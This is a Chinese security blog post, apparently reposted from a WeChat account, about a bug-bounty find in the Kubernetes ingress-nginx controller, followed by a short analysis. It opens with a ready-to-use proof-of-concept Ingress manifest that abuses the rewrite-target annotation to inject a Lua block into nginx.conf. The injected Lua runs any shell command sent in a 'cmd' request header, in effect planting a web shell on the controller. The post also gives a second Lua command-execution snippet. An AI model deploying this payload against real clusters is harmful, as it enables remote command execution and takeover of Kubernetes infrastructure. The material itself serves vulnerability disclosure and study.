如何通过捡漏获取价值2600$的Kubernetes组件CVE

admin 2024年2月9日14:42:40评论5 views字数 1563阅读5分12秒阅读模式

EDI

JOIN US ▶▶▶

招新

EDI安全的CTF战队经常参与各大CTF比赛,了解CTF赛事。

欢迎各位师傅加入EDI,大家一起打CTF,一起进步。(诚招re crypto pwn方向的师傅)有意向的师傅请联系邮箱root@edisec.net、[email protected](带上自己的简历,简历内容包括但不限于就读学校、个人ID、擅长技术方向、历史参与比赛成绩等等。

点击蓝字 ·  关注我们

如何通过捡漏获取价值2600$的Kubernetes组件CVE

直接给出 poc 并做个总结,通过注解注入特殊字符尝试闭合nginx配置文件块从而实现插入任意配置实现命令执行。

apiVersion: networking.k8s.io/v1kind: Ingressmetadata:  name: ingress-exploit  annotations:    kubernetes.io/ingress.class: "nginx"    nginx.ingress.kubernetes.io/rewrite-target: |      suanve/ last;      }      location suanve/ {        content_by_lua_block {          local rsfile = io.popen(ngx.req.get_  headers()["cmd"]);          local rschar = rsfile:read("*all");          ngx.say(rschar);        }      }      location /fs/{spec:  rules:  - host: k8s.evil.me    http:      paths:      - path: /        pathType: Prefix        backend:          service:            name: exploit            port:              number: 80

部署

wget https://raw.githubusercontent.com/kubernetes/ingress-nginx/controller-v1.8.4/deploy/static/provider/cloud/deploy.yaml

加一行hostNetwork: true

如何通过捡漏获取价值2600$的Kubernetes组件CVE

分析

正常发布ingress时,我们分析会写入到容器内部的 nginx.conf

如何通过捡漏获取价值2600$的Kubernetes组件CVE

然后ingress  里面参数   nginx.ingress.kubernetes.io/rewrite-target  

可以任意插入,就尝试插入 lua 代码

我们在 hackerone 上也看到了一些相关的信息,他这个是包含文件

https://hackerone.com/reports/1620702

如何通过捡漏获取价值2600$的Kubernetes组件CVE

我们继续检索发现
https://peirs.net/add-security-header-with-lua-and-nginx/  nginx 配置文件里面引入简短的 lua 代码使用

如何通过捡漏获取价值2600$的Kubernetes组件CVE

pua 下机器人

如何通过捡漏获取价值2600$的Kubernetes组件CVE

location /execute-command {    content_by_lua_block {        local handle = io.popen("ls -l")        local result = handle:read("*a")        handle:close()        ngx.say(result)    }}
这里发现应该是注入的 nginx.conf 配置文件有错误

如何通过捡漏获取价值2600$的Kubernetes组件CVE

这里构造闭合后就成功通过

如何通过捡漏获取价值2600$的Kubernetes组件CVE

我们去 nginx.conf 看一下目前是什么状况

如何通过捡漏获取价值2600$的Kubernetes组件CVE

直接访问路由,就可以看到执行了代码

如何通过捡漏获取价值2600$的Kubernetes组件CVE

但是只是执行单个命令,我们去看一下官网文档,方法很多

如何通过捡漏获取价值2600$的Kubernetes组件CVE

[https://github.com/openresty/lua-nginx-module#ngxreqget_headers](https://github.com/openresty/lua-nginx-module#ngxreqget_headers)

如何通过捡漏获取价值2600$的Kubernetes组件CVE

如何执行任意命令答案就呼之欲出了

EDI安全

如何通过捡漏获取价值2600$的Kubernetes组件CVE

扫二维码|关注我们

一个专注渗透实战经验分享的公众号

原文始发于微信公众号(EDI安全):如何通过捡漏获取价值2600$的Kubernetes组件CVE

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年2月9日14:42:40
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   如何通过捡漏获取价值2600$的Kubernetes组件CVEhttps://cn-sec.com/archives/2210947.html

发表评论

匿名网友 填写信息